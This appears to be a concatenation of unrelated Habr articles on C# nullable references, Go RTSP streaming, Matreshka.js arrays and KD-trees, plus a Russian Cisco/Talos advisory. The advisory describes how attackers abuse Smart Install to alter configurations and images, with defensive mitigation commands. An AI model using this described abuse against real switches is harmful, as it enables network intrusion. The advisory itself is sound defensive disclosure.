It's actually a matter of dispute whether the analyzer should take Asserts like that into account (some of our users want it to do so) — after all, the analyzer does take contracts from System.Diagnostics.Contracts into account. Here's one small real-life example from our experience of using Roslyn in our own analyzer. While [adding support of the latest version of Visual Studio](https://www.viva64.com/en/b/0630/) recently, we also updated Roslyn to its 3rd version. After that, PVS-Studio started crashing on certain code it had never crashed on before. The crash, accompanied by a Null Reference Exception, would occur not in our code but in the code of Roslyn. Debugging revealed that the code fragment where Roslyn was now crashing had that very kind of *Debug.Assert* based null check several lines higher — and that check obviously didn't help.
It's a graphic example of how you can get into trouble with Nullable Referencebecause of the compiler treating *Debug.Assert* as a reliable check in any configuration. That is, if you add *#nullable enable* and mark the *chainedTupleTypeOpt* argument as a nullable reference*,* the compiler won't issue any warning on the dereference inside the *ConstructTupleUnderlyingType* method.
Moving on to other examples of warnings by PVS-Studio.
*V3080 Possible null dereference. Consider inspecting 'effectiveRuleset'. RuleSet.cs 146*
```
var effectiveRuleset =
ruleSet.GetEffectiveRuleSet(includedRulesetPaths);
effectiveRuleset =
effectiveRuleset.WithEffectiveAction(ruleSetInclude.Action);
if (IsStricterThan(effectiveRuleset.GeneralDiagnosticOption, ....))
effectiveGeneralOption = effectiveRuleset.GeneralDiagnosticOption;
```
This warning says that the call of the *WithEffectiveAction* method may return *null*, while the return value assigned to the variable *effectiveRuleset* is not checked before use (*effectiveRuleset.GeneralDiagnosticOption*). Here's the body of the *WithEffectiveAction* method:
```
public RuleSet WithEffectiveAction(ReportDiagnostic action)
{
if (!_includes.IsEmpty)
throw new ArgumentException(....);
switch (action)
{
case ReportDiagnostic.Default:
return this;
case ReportDiagnostic.Suppress:
return null;
....
return new RuleSet(....);
default:
return null;
}
}
```
With Nullable Reference enabled for the method *GetEffectiveRuleSet*, we'll get two locations where the code's behavior has to be changed. Since the method shown above can throw an exception, it's logical to assume that the call to it is wrapped in a *try-catch* block and it would be correct to rewrite the method to throw an exception rather than return *null*. However, if you trace a few calls back, you'll see that the catching code is too far up to reliably predict the consequences. Let's take a look at the consumer of the *effectiveRuleset* variable, the *IsStricterThan* method:
```
private static bool
IsStricterThan(ReportDiagnostic action1, ReportDiagnostic action2)
{
switch (action2)
{
case ReportDiagnostic.Suppress:
....;
case ReportDiagnostic.Warn:
return action1 == ReportDiagnostic.Error;
case ReportDiagnostic.Error:
return false;
default:
return false;
}
}
```
As you can see, it's a simple switch statement choosing between two enumerations, with *ReportDiagnostic.Default* as the default value. So it would be best to rewrite the call as follows:
The signature of *WithEffectiveAction* will change:
```
#nullable enable
public RuleSet? WithEffectiveAction(ReportDiagnostic action)
```
This is what the call will look like:
```
RuleSet? effectiveRuleset =
ruleSet.GetEffectiveRuleSet(includedRulesetPaths);
effectiveRuleset =
effectiveRuleset?.WithEffectiveAction(ruleSetInclude.Action);
if (IsStricterThan(effectiveRuleset?.GeneralDiagnosticOption ??
ReportDiagnostic.Default,
effectiveGeneralOption))
effectiveGeneralOption = effectiveRuleset.GeneralDiagnosticOption;
```
Since *IsStricterThan* only performs comparison, the condition can be rewritten — for example, like this:
```
if (effectiveRuleset == null ||
IsStricterThan(effectiveRuleset.GeneralDiagnosticOption,
effectiveGeneralOption))
```
Next example.
*V3080 Possible null dereference. Consider inspecting 'propertySymbol'. BinderFactory.BinderFactoryVisitor.cs 372*
```
var propertySymbol = GetPropertySymbol(parent, resultBinder);
var accessor = propertySymbol.GetMethod;
if ((object)accessor != null)
resultBinder = new InMethodBinder(accessor, resultBinder);
```
To fix this warning, we need to see what happens to the *propertySymbol* variable next.
```
private SourcePropertySymbol GetPropertySymbol(
BasePropertyDeclarationSyntax basePropertyDeclarationSyntax,
Binder outerBinder)
{
....
NamedTypeSymbol container
= GetContainerType(outerBinder, basePropertyDeclarationSyntax);
if ((object)container == null)
return null;
....
return (SourcePropertySymbol)GetMemberSymbol(propertyName,
basePropertyDeclarationSyntax.Span, container,
SymbolKind.Property);
}
```
The *GetMemberSymbol* method, too, can return *null* under certain conditions.
```
private Symbol GetMemberSymbol(
string memberName,
TextSpan memberSpan,
NamedTypeSymbol container,
SymbolKind kind)
{
foreach (Symbol sym in container.GetMembers(memberName))
{
if (sym.Kind != kind)
continue;
if (sym.Kind == SymbolKind.Method)
{
....
var implementation =
((MethodSymbol)sym).PartialImplementationPart;
if ((object)implementation != null)
if (InSpan(implementation.Locations[0],
this.syntaxTree, memberSpan))
return implementation;
}
else if (InSpan(sym.Locations, this.syntaxTree, memberSpan))
return sym;
}
return null;
}
```
With nullable reference types enabled, the call will change to this:
```
#nullable enable
SourcePropertySymbol? propertySymbol
= GetPropertySymbol(parent, resultBinder);
MethodSymbol? accessor = propertySymbol?.GetMethod;
if ((object)accessor != null)
resultBinder = new InMethodBinder(accessor, resultBinder);
```
It's pretty easy to fix when you know where to look. Static analysis can catch this potential error with no effort by collecting all possible values of the field from all the procedure call chains.
*V3080 Possible null dereference. Consider inspecting 'simpleName'. CSharpCommandLineParser.cs 1556*
```
string simpleName;
simpleName = PathUtilities.RemoveExtension(
PathUtilities.GetFileName(sourceFiles.FirstOrDefault().Path));
outputFileName = simpleName + outputKind.GetDefaultExtension();
if (simpleName.Length == 0 && !outputKind.IsNetModule())
....
```
The problem is in the line with the *simpleName.Length* check. The variable *simpleName* results from executing a long series of methods and can be assigned *null*. By the way, if you are curious, you could look at the *RemoveExtension* method to see how it's different from *Path.GetFileNameWithoutExtension.* A *simpleName != null* check would be enough, but with non-nullable reference types, the code will change to something like this:
```
#nullable enable
public static string? RemoveExtension(string path) { .... }
string simpleName;
```
This is what the call might look like:
```
simpleName = PathUtilities.RemoveExtension(
PathUtilities.GetFileName(sourceFiles.FirstOrDefault().Path)) ??
String.Empty;
```
Conclusion
----------
Nullable Reference types can be a great help when designing architecture from scratch, but reworking existing code may require a lot of time and care, as it may lead to a number of elusive bugs. This article doesn't aim to discourage you from using Nullable Reference types. We find this new feature generally useful even though the exact way it is implemented may be controversial.
However, always remember about the limitations of this approach and keep in mind that enabling Nullable Reference mode doesn't protect you from NREs and that, when misused, it could itself become the source of these errors. We recommend that you complement the Nullable Reference feature with a modern static analysis tool, such as PVS-Studio, that supports interprocedural analysis to protect your program from NREs. Each of these approaches — deep interprocedural analysis and annotating method signatures (which is in fact what Nullable Reference mode does) — have their pros and cons. The analyzer will provide you with a list of potentially dangerous locations and let you see the consequences of modifying existing code. If there is a null assignment somewhere, the analyzer will point at every consumer of the variable where it is dereferenced without a check.
You can check this project or your own projects for other defects — just [download](https://www.viva64.com/en/pvs-studio-download/) PVS-Studio and give it a try. | https://habr.com/ru/post/455234/ | null | en | null |
# Зачем выставлять в Интернет интерфейс управления или атака на Cisco Smart Install
Недавно Cisco узнала о некоторых хакерских группировках, которые выбрали своими мишенями коммутаторы Cisco, используя при этом проблему неправильного использования протокола в Cisco Smart Install Client. Несколько инцидентов в разных странах, в том числе некоторые из которых касаются критической инфраструктуры, оказались связаны с неправильным использованием протокола Smart Install. Некоторые эксперты считают, что ряд этих атак связан с хакерами, стоящими на службе государства. В результате мы занимаем активную позицию и призываем клиентов, снова, к оценке рисков и применению доступных методов нейтрализации рисков.
14 февраля 2017 года (да-да, тут нет ошибки, речь идет о 2017-м годе) группа реагирования на инциденты безопасности продуктов Cisco (PSIRT) опубликовала бюллетень, описывающий результаты активного сканирования, связанного с Cisco Smart Install Clients. ПО Cisco Smart Install Client — устаревшая утилита, предназначенная для удаленной настройки нового оборудования Cisco, в частности коммутаторов Cisco. В продолжение, Cisco Talos опубликовал заметку в блоге и выпустил инструмент с открытым исходным кодом, который сканирует устройства, использующие протокол Cisco Smart Install. В дополнение к описанному была выпущена сигнатура для системы обнаружения атак Snort (SID: 41722-41725), позволяющая детектировать любые попытки использовать эту технологию.
Протоколом Cisco Smart Install можно злоупотреблять, чтобы изменить настройку сервера TFTP, экспортировать файлы конфигурации через TFTP, изменить конфигурационные файлы, заменить имидж сетевой операционной системы IOS и настроить учетные записи, позволяющие выполнять команды IOS. Хотя это не является уязвимостью в классическом смысле, неправильное использование этого протокола может служить вектором атаки, который следует немедленно нейтрализовать. В течение конца 2017 года и в начале 2018 года Talos наблюдал, как злоумышленники пытались сканировать клиентов, используя эту уязвимость. Недавняя информация повысила актуальность этой проблемы и мы решили вновь к ней вернуться.
Хотя мы наблюдали только атаки, связанные с проблемой неправильного использования протокола Cisco Smart Install, недавно была раскрыта и **исправлена** другая уязвимость в Cisco Smart Install Client. Эта уязвимость была обсуждена публично, и был выпущен код с доказательством возможности эксплуатации уязвимости (PoC). Для устранения проблемы неправильного использования протокола, клиенты также должны устранить эту уязвимость, установив соответствующее обновление.
### Область действия
Как часть исследования Cisco Talos, мы начали изучать, сколько устройств потенциально уязвимо для этой атаки. Результаты были крайне тревожными. Используя Shodan, Talos смог определить, что более 168 000 систем потенциально могут быть обнаружены через “открытый в Интернет” Cisco Smart Install Client. Это лучше, чем результаты 2016 года, когда один из сотрудников компании Tenable сообщил о 251000 уязвимых клиентов Cisco Smart Install Client, “видимых” из Интернет. Могут существовать различия в методологии сканирования Cisco Talos и Tenable, но мы предполагаем существенное сокращение число доступных для атаки устройств. Кроме того, несмотря на то, что с момента нашего первоначального бюллетеня было отмечено падение объемов сканирования, Talos наблюдал резкое увеличение попыток сканирования для Cisco Smart Install Client около 9 ноября 2017 года.
### Нейтрализация
Вы можете определить, есть ли у вас устройствас “поднятым” на коммутаторе ПО Cisco Smart Install Client. Запуск команды **show vstack config** позволит вам определить, активен ли Smart Install Client. Ниже приведен пример такой команды с получением ответа на нее:
```
switch # show vstack config | inc Role
Role: Client (SmartInstall enabled)
```
Дополнительные признаки активного Cisco Smart Install Client могут присутствовать, если включена регистрация уровня 6 (информационный) или выше. Эти журналы регистрации событий могут включать, но не ограничиваются ими, операции записи через TFTP, выполнение команд и перезагрузки устройств.
Самый простой способ нейтрализовать эту проблему — запустить команду no vstack на уязвимом устройстве. Если по какой-либо причине эта опция недоступна для клиента, лучшим вариантом будет ограничение доступа через список управления доступом (ACL) для интерфейса, пример которого показан ниже:
```
ip access-list extended SMI_HARDENING_LIST
permit tcp host 10.10.10.1 host 10.10.10.200 eq 4786
deny tcp any any eq 4786
permit ip any any
```
Этот тип ACL разрешает только узлам, показанным выше, доступ к Smart Install Client, что значительно ограничивает возможность реализации атаки. В дополнение к этому в наших системах предотвращения вторжения (IPS) есть сигнатуры, позволяющие определить, осуществляется ли воздействие на Smart Install Client или нет.
### Поддержка
Для этого и других вопросов важно помнить о приверженности Cisco поддержке пострадавших клиентов. Все клиенты, независимо от статуса контракта поддержки, получают бесплатную помощь по реагированию на инциденты, как и помощь, предлагаемая контрактным клиентам, для любого инцидента, связанного с известными или разумно подозрительными уязвимостями безопасности в продукте Cisco. Если вы столкнулись с инцидентом с продуктом Cisco, обратитесь в Центр технической поддержки Cisco (TAC):
* В Москве: +7 495 961 13 82
* В Санкт-Петербурге: +7 812 363-3328
* Бесплатный звонок по России: 8 800 700 05 22
* В Армении: 800-721-7549
* В Беларуси: 8 800 101, then 800 721 7549
* В Украине (основной): 0800 301 2090 (бесплатный номер)
* В Украине (альтернативный): +380 44 390 2400
* В Азербайджане: 088 9999999
* В Казахстане: 8^800-121-4321 (наберите 8, подождите 2-го сигнала и затем набирайте остальные цифры). Затем наберите PIN, 800-721-7549
* В Таджикистане: + 992 44 600 60 40
* В Узбекистане: 800-721-7549
Дополнительные сведения см. в разделе [Политика безопасности уязвимостей Cisco](http://www.cisco.com/web/about/security/psirt/security_vulnerability_policy.html).
### Выводы
Чтобы обеспечить безопасность и контроль периметра, сетевым администраторам необходимо проявлять особую бдительность. Легко «устанавливать и забывать» сетевые устройства, поскольку они обычно очень стабильны и редко меняются. Достаточно вспомнить результаты нашего позапрошлогоднего ежегодного отчета по кибербезопасности, в котором мы продемонстрировали результаты нашего исследования, доказывающего, что среднее время неустранения **клиентами** уязвимостей в сетевом и серверном оборудовании и ПО составляет в среднем около пяти лет. Объедините это с преимуществами, которые атакующий имеет при получении доступа и перехвате управления сетевым устройством и вы поймете, что маршрутизаторы и коммутаторы становятся очень заманчивыми целями для злоумышленников. Особенно если идет речь об устройствах, стоящих на периметре организации или оператора связи.
Наблюдая за активным использованием этого вектора злоумышленниками, Cisco настоятельно рекомендует всем клиентам пересмотреть свою архитектуру, использовать инструменты Talos для сканирования своей сети и удалить Cisco Smart Install Client со всех устройств, где он не используется.
### Дополнительная информация
* [Бюллетень](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi) Cisco о неверном использовании протокола Cisco Smart Install
* [Бюллетень](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2) Cisco об уязвимости RCE в реализации функции Smart Install
* [Бюллетень](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi) Cisco об уязвимости DDoS в реализации функции Smart Install
* [Заметка](http://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html) в блоге Cisco Talos о некооректном использовании протокола Smart Install
* [Сканер](https://github.com/Cisco-Talos/smi_check) Smart Install Client, разработанный Cisco Talos
* Данная оригинальная [заметка](http://blog.talosintelligence.com/2018/04/critical-infrastructure-at-risk.html) в блоге Talos
* [Руководство](https://www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html) Cisco по усилению защиты устройств на базе Cisco IOS и IOS XE | https://habr.com/ru/post/352996/ | null | ru | null |
# Golang+FFmpeg
Долго искал более-менее живую Golang-библиотеку для работы с rtsp.
Изначально наткнулся на [github.com/nareix/joy4](https://github.com/nareix/joy4), но там оказался устаревший C-код и rtp был на Golang, а декодинг на FFmpeg. (~~немало deprecated варнингов~~).
Изначально форкнул ее, что-то поправил, но с китайскими камерами (~~о чем, много уже, написано на хабре~~), часто были битые кадры, отвалы коннекта и т.д.
Поискал по Go-go! telegram-чату - понял, что нет хороших решений.
Ну и как любят делать на JS - нужно написать свой фреймворк.
Поискал примеры rtsp-клентов на c/c++, перенес все это на Golang, декодинг взял из наработок [github.com/Danile71/joy4](https://github.com/Danile71/joy4).
Пока что заложил логику довольно статичную - открываем rtsp/mjpeg/file
* видео превращается в jpeg
* аудио в pcm wav
Для подключения к rtsp - имеется возможность выбрать Tcp/Udp/Auto подключение.
Локальные файлы передавать путем до файла.
Проверил на (**ffmpeg version 4.2.4-1ubuntu0.1**):
* RTSP (H264/AAC)
* RTSP (H265/AAC)
* MJPEG
* MP4 (H264/AAC)
* AVI (H264/AAC)
* FLAC
* WAV
* MP3
* MPEG2 TS(H265/AAC)
Пример
```
package main
import (
"io"
"net/http"
"os"
"github.com/Danile71/go-logger"
"github.com/Danile71/go-rtsp"
"github.com/gorilla/mux"
"github.com/mattn/go-mjpeg"
)
//const uri = "rtsp://admin:admin@127.0.0.1:554"
const uri = "./file.ts"
func main() {
s := mjpeg.NewStream()
f, err := os.Create("./audio.pcm")
if logger.OnError(err) {
return
}
defer f.Close()
// Call stream.Setup(Auto)
stream, err := rtsp.Open(uri)
if logger.OnError(err) {
return
}
// Custom setup call
// stream := rtsp.New(uri)
// err = stream.Setup(rtsp.Tcp)
// if logger.OnError(err) {
// return
// }
go func() {
for {
pkt, err := stream.ReadPacket()
if logger.OnError(err) {
if err == io.EOF {
os.Exit(1)
}
continue
}
if pkt.IsVideo() {
// pkt.Width()
// pkt.Height()
s.Update(pkt.Data())
}
if pkt.IsAudio() {
// pkt.SampleRate()
// pkt.Channels()
// pkt.BitRate()
_, err := f.Write(pkt.Data())
if logger.OnError(err) {
continue
}
}
}
}()
streamHandler := func(w http.ResponseWriter, r *http.Request) {
s.ServeHTTP(w, r)
}
router := mux.NewRouter()
router.HandleFunc("/stream", streamHandler)
http.Handle("/", router)
http.ListenAndServe(":8181", nil)
}
```
---
Сие творение: [github.com/Danile71/go-rtsp](https://github.com/Danile71/go-rtsp)
p.s. Имеется ли у кого интерес к медиа направлению на Golang? | https://habr.com/ru/post/569162/ | null | ru | null |
# (Архив) Matreshka.js — MK.Array
**Статья устарела. В [новой документации](http://ru.matreshka.io/) содержится самая актуальная информация из этого поста. См. [Matreshka.Array](http://ru.matreshka.io/#Matreshka.Array).**
* [Введение](http://habrahabr.ru/post/196146/)
* [Наследование](http://habrahabr.ru/post/200078/)
* [MK.Object](http://habrahabr.ru/post/196886/)
* **MK.Array**
* [Matreshka.js v0.1](http://habrahabr.ru/post/217241/)
* [Matreshka.js v0.2](http://habrahabr.ru/post/231333/)
* [Реализация TodoMVC](http://habrahabr.ru/post/231347/)
(Напомню, репозиторий находится [здесь](https://github.com/finom/matreshka))
Приветствую всех. [Предыдущую статью](http://habrahabr.ru/post/196886/) я закончил на том, что нам может потребоваться массив данных. Массивом в проекте Matreshka.js являются экземпляры класса `MK.Array`. Чем они отличается от обычных массивов? Почти ничем. Прототип `MK.Array` содержит все методы, которые есть у «традиционного» массива, конструктор принимает те же аргументы, что и оригинальный `Array`, а экземпляры имеют несколько интересных особенностей.
**`MK.Array`** — это массив на стероидах, который умеет:
* Всё, что умеет `Array`
* Генерировать события при модификации
* Использовать цепочечный вызов методов там, где это возможно
* Умеет то, что умеет Матрешка: привязывать элементы к свойствам и генерировать кастомные события
**Помните гифку из первой статьи серии?**
При использовании `MK.Array` надо помнить 5 вещей:
**0.** Методы, пришедшие из `Array` в `MK.Array` не переписаны заново. `MK.Array` использует встроенные возможности массива, а это означает, что, во первых, код класса очень компактен, во-вторых мы избегаем багов неправильной реализации методов. Это так же значит, что множество новых методов не будет работать в Internet Explorer 8, пока вы не подключите, скажем, [es5-shim](https://github.com/kriskowal/es5-shim). При вызове неподдерживаемого метода сгенерируется ошибка, сообщение которой предложит подключить эту библиотеку.
Список реализованных методов был составлен при изучении прототипа `Array` в последней сборке Chrome и документации на MDN.
**1.** Методы, которые модифицируют экземпляр, генерируют два события: `"modify"` и имя метода. Например, после выполнения метода `.push` генерируется не только `"modify"`, но и `"push"`. **UPD**: При добавлении элементов генерируется событие `"add"`, при удалении — `"remove"`.
```
var mkArray = new MK.Array;
mkArray.on( 'push', function() {
alert( 'push' );
});
mkArray.on( 'modify', function() {
alert( 'modify' );
});
mkArray.push( 42 );
```
Список модифицирующих методов:
* [`.push`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#push)
* [`.pop`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#pop)
* [`.unshift`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#unshift)
* [`.shift`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#shift)
* [`.sort`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#sort)
* [`.reverse`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#reverse)
* [`.splice`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#splice)
**2.** Для избежания генерации соответствующих событий, используйте методы, начинающиеся с `silent`. Например, если вы хотите добавить элемент в массив, но хотите избежать генерации событий, используйте `silentPush` (обратите внимание, что имя оригинального метода пишется с большой буквы).
```
var mkArray = new MK.Array;
mkArray.silentPush( 42 );
```
Список модифицирующих методов, при запуске которых не генерируются события:
* [`.silentPush`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentPush)
* [`.silentPop`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentPop)
* [`.silentUnshift`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentUnshift)
* [`.silentShift`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentShift)
* [`.silentSort`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentSort)
* [`.silentReverse`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentReverse)
* [`.silentSplice`](http://finom.github.io/matreshka/docs/Matreshka.Array.html#silentSplice)
**3.** Метод `.forEach`, который в прототипе оригинального `Array` возвращает `undefined`, в `MK.Array` возвращает себя:
```
var mapped = mkArray
.forEach( function() {
...
})
.forEach( function() {
...
})
.map( function() {
...
})
;
```
**4.** Методы оригинального `Array`, которые модифицируют массив, и выполняют вторичную функцию, возвращая длину массива (`.push`, `.unshift`) ~~или удаленный элемент (`.pop`, `.shift`)~~ (**UPD**: Исправлено в 0.1), в `MK.Array` возвращают себя. Это позволяет строить цепочки методов (то, что мне всегда не хватало). Методы, первичной задачей которых является возврат значения другого типа, работают традиционным образом. Это значит, что `.indexOf` возвращает число, `.toString` — строку…
```
mkArray
.push( 1, 2, 3, 4 )
.unshift( 0 )
.push( 5 )
.forEach( function() { ... } )
.sort()
.reverse()
;
```
Компенсировать такое поведение очень просто, например, для метода `.push`:
```
var array = new Array( 1, 2, 3, 4 ),
mkArray = new MK.Array( 1, 2, 3, 4 ),
arrayLength, mkArrayLength;
arrayLength = array.push( 6, 7 );
mkArray.push( 6, 7 );
mkArrayLength = mkArray.length;
```
**5.** Методы-итераторы (`.forEach`, `.map`, `.filter`, ...) принимают в качестве первого аргумента функцию, третьим аргументом которой является экземпляр нативного массива. Особенность восьмого Осла не позволяет использовать `Array.prototype[ method ].apply` в контексте Матрешки, поэтому, запуск методов происходит таким образом:
1. Экземпляр `MK.Array` конвертируется в экземпляр `Array`.
2. Выполняется метод `Array.prototype[ name ].apply( array, arguments );`
3. Экземпляр `MK.Array` очищается и обновляется полученным массивом `Array`.
```
mkArray.forEach( function( item, index, array ) {
console.log( array === mkArray ); // false
});
```
Это особенность реализации Матрешки, которая может вызвать недоумение у опытных программистов. Не спешите писать гневный комментарий. Если Хабру будет интересно, я расскажу самое главное: как работает Матрешка.
**UPD**: В версии 1.0 эта особенность будет исправлена по причине отказа от поддержки ИЕ8
##### Наследование
Матрешко-массив наследуется так же, как и любой класс, унаследованный от Матрешки:
```
var MyArray = Class({
'extends': MK.Array,
constructor: fucntion() {
this.initMK();
}
});
```
Метод `.initMK`, в данном случае, кроме инициализации основных псевдоприватных свойств Матрешки, добавляет нужные массиву обработчики событий и является обязательным к запуску при наследовании.
**Текст под спойлером потерял актуальность после выхода Матрешки 0.1. Можете его не читать.**##### Применение на практике
`MK.Array` сам по себе является готовым к использованию классом, который добавит сахара в любое приложение. Есть только одно «но»: матрешко-массив не умеет привязывать данные к элементам массива. Привязать элемент к индексу с помощью `.bindElement` вы конечно сможете, но, очевидно, это имеет мало смысла: индексы постоянно меняются при модификации. Что делать, если у вас, скажем, есть список, который должен обновляться при изменении массива. В этом случае нужно отслеживать необходимые методы и менять DOM вручную. Например, если приложение предполагает добавление и удаление элементов, надо слушать события `"push"` и `"splice"`, вопрос только в том, что нужно вашему приложению.
Гифка в начале поста — это демонстрация работы (пока) [недокументированного плагина MK.DOMArray](http://finom.github.io/matreshka/examples/js/domarray.mk.js), который, реагируя на изменения данных, автоматически меняет DOM. Плагин был создан в качестве эксперимента, демонстрации возможностей Матрешки и для приближения ближе к идее о том, что DOM должен обновиться сам, когда данные меняются. Но эксперимент оказался настолько удачным, что, возможно, код плагина вольётся в код `MK.Array`. Изменения в DOM оптимальны: при добавлении объектов в массив, на страницу добавляется новые элементы, при удалении — удаляются, при сортировке — сортируются. Это я к тому, что таблица не перерисовывается заново, а реагирует последовательно.
Здесь матрешко-массив (а точнее его потомок: `MK.DOMArray`) в примере можно назвать аналогом Collection в Backbone, а его элементы — аналогом Model. Пример можно наблюдать здесь: [jsbin.com/aZEseWE/16](http://jsbin.com/aZEseWE/16/) (именно с этого примера записывалась гифка). А вот здесь: [jsbin.com/eQomoJe/9](http://jsbin.com/eQomoJe/9/) более аскетичный вариант. В нем нет переопределения встроенных методов. Я предпочитаю второй способ, несмотря на кажущуюся избыточность.
`MK.DOMArray` работает таким способом: при добавлении объектов (в начало, конец, середину… без разницы) он проверяет, есть ли у «себя» метод `.renderer` и, если он есть, вставляет возвращаемый элемент в дерево страницы и вызывает на объекте событие `"render"`.
```
var Example = Class({
'extends': MK.DOMArray,
constructor: function() {
this
// инициализируем Матрешку
.initMK()
// Привязываем элементы
.bindElement( this, 'table tbody' )
;
},
renderer: function( object ) {
// Возвращает строку с пустыми тегами. Значения ячеек обновятся автоматически, при привязке
return '| | | |
';
}
});
```
Задачей добавленного объекта является отлов события `"render"` и привязка элементов внутри элемента, привязанного к `"__this__"`.
```
var ExampleObject = Class({
'extends': MK.Object,
constructor: function( o ) {
this
.initMK()
.jset( o )
.on( 'render', function( evt ) {
this
// аргумент обработчика события 'render' — объект, содержащий отрендереный элемент
// почему MK.DOMArray самостоятельно не привязывает HTML элемент к элементу коллекции?
// потому что объект (элемент коллекции) сам должен решать, что делать,
// так как один объект может содержаться в разных коллекциях
.bindElement( this, evt.el )
// привязываем необходимые элементы
.bindElement({
a: this.$( '.a' ),
b: this.$( '.b' ),
c: this.$( '.c' )
}, MK.htmlp )
;
})
;
}
});
```
**Идея**Здесь так и напрашивается плагин, работающий исключительно с таблицами. Возможно, он будет работать так:
```
var table = MK.Table({
table: '.my-table'
rows: [{
title: 'A',
key: 'a'
}, {
title: 'B',
key: 'b'
}]
});
table.push({
a: 'Fuck',
b: 'Yeah'
});
```
#### В завершение цикла
Матрешка — это компактный, простой в изучении фреймворк, который будет и дальше развиваться. Независимо от уровня подготовки программиста, Матрешка проста в изучении и, скорее всего, является замечательным началом при переходе к структурированному коду новичками. Компактность и расширяемость даёт кучу идей для плагинов и дополнений. Со временем, будет убрана зависимость от jQuery (**UPD**: Уже убрана), поддержка Internet Explorer 8, улучшена производительность и многое другое…
Благодарю за внимание, всем добра.
P. S. В README репозитория теперь есть [roadmap](https://github.com/finom/matreshka#roadmap). | https://habr.com/ru/post/198212/ | null | ru | null |
# Анатомия KD-Деревьев
Эта статья полностью посвящена KD-Деревьям: я описываю тонкости построения KD-Деревьев, тонкости реализации функций поиска 'ближнего' в KD-Дереве, а также возможные 'подводные камни', которые возникают в процессе решения тех или иных подзадач алгоритма. Дабы не запутывать читателя терминологией(плоскость, гипер-плоскость и т.п), да и вообще для удобства, полагается что основное действо разворачивается в трехмерном пространстве. Однако же, где нужно я отмечаю, что мы работаем в пространстве другой размерности. По моему мнению статья будет полезна как программистам, так и всем тем, кто заинтересован в изучении алгоритмов: кто-то найдет для себя что-то новое, а кто-то просто повторит материал и возможно, в комментариях дополнит статью. В любом случае, прошу всех под кат.
### Введение
*KD-Tree*(K-мерное дерево), специальная 'геометрическая' структура данных, которая позволяет разбить K-мерное пространство на 'меньшие части', посредством сечения этого самого пространства гиперплоскостями(**K > 3**), плоскостями (**K = 3**), прямыми (**K = 2**) ну, и в случае одномерного пространства-точкой (выполняя поиск в таком дереве, получаем что-то похожее на *binary search*).
Логично, что такое разбиение обычно используют для сужения диапазона поиска в K-мерном пространстве. Например, поиск ближнего объекта (вершины, сферы, треугольника и т.д.) к точке, проецирование точек на 3D сетку, трассировка лучей (активно используется в Ray Tracing) и т.п. При этом объекты пространства помещаются в специальные параллелепипеды-*bounding box-ы*(bounding box-ом назовем такой параллелепипед, который описывает исходное множество объектов или сам объект, если мы строим bounding box лишь для него. У точек в качестве bounding box-а берется bounding box с нулевой площадью поверхности и нулевым объемом), стороны которых параллельны осям координат.
### Процесс деления узла
Итак, прежде чем использовать KD-Дерево, нужно его построить. Все объекты помещаются в один большой bounding box, описывающий объекты исходного множества (при этом каждый объект ограничен своим bounding box-ом), который затем разбивается (делится) плоскостью, параллельной одной из его сторон, на два. В дерево добавляются два новых узла. Таким же образом каждый из полученных параллелепипедов разбивается на два и т.д. Процесс завершается либо по специальному критерию (см. *SAH*), либо при достижении определенной глубины дерева, либо же при достижении определенного числа элементов внутри узла дерева. Некоторые элементы могут одновременно входить как в левый, так и в правый узлы (например, когда в качестве элементов дерева рассматриваются треугольники).
Проиллюстрирую данный процесс на примере множества треугольников в 2D:
*На **рис.1** изображено исходное множество треугольников. Каждый треугольник помещен в свой bounding box, а все множество треугольников вписано в один большой корневой bounding box.*
*На **рис.2** делим корневой узел на два узла (по OX): в левый узел попадают треугольники 1, 2, 5, а в правый-3, 4, 5.*
*На **рис.3**, полученные узлы снова делятся на два, а треугольник 5 входит в каждый из них. Когда процесс заканчивается, получаем 4 листовых узла.*
Огромное значение имеет выбор плоскости для разделения узла дерева. Существует огромное количество способов сделать это, я привожу лишь некоторые, наиболее часто встречаемые на практике способы(предполагается, что начальные объекты помещены в один большой bounding box, а разделение происходит параллельно одной из осей координат):
⦁ **Способ 1**: Выбрать наибольшую сторону bounding box. Тогда секущая плоскость будет проходить через середину выбранной стороны.
⦁ **Способ 2**: Рассекать по медиане: отсортируем все примитивы по одной из координат, а медианой назовем элемент (или центр элемента), который находится на средней позиции в отсортированном списке. Секущая плоскость будет проходить через медиану так, что количество элементов слева и справа будет примерно равным.
⦁ **Способ 3**: Использование чередования сторон при разбиении: на глубине 0 бьем через середину стороны параллельной OX, следующий уровень глубины-через середину стороны параллельной OY, затем по OZ и т.д. Если мы 'прошлись по всем осям', то начинаем процесс заново. Критерии выхода описаны выше.
⦁ **Способ 4**: Наиболее 'умный' вариант-использовать *SAH (Surface Area Heuristic)* функцию оценки разделения bounding box. (Об этом подробно будет рассказано ниже). SAH также предоставляет универсальный критерий остановки деления узла.
*Способы 1 и 3* хороши, когда речь идет именно о скорости построения дерева (так как найти середину стороны и провести через нее плоскость, отсеивая элементы исходного множества 'налево' и 'направо', тривиально). В то же время, они довольно часто дают неплотное представление разбиения пространства, что может негативно повлиять на основные операции в KD-Дереве (особенно, при прослеживании луча в дереве).
*Способ 2* позволяет достигнуть хороших результатов, но требует немалого количества времени, которое тратится на сортировку элементов узла. Как и способы 1, 3, он довольно прост в реализации.
Наибольший же интерес представляет способ с использованием 'умной' SAH эвристики (способ 4).
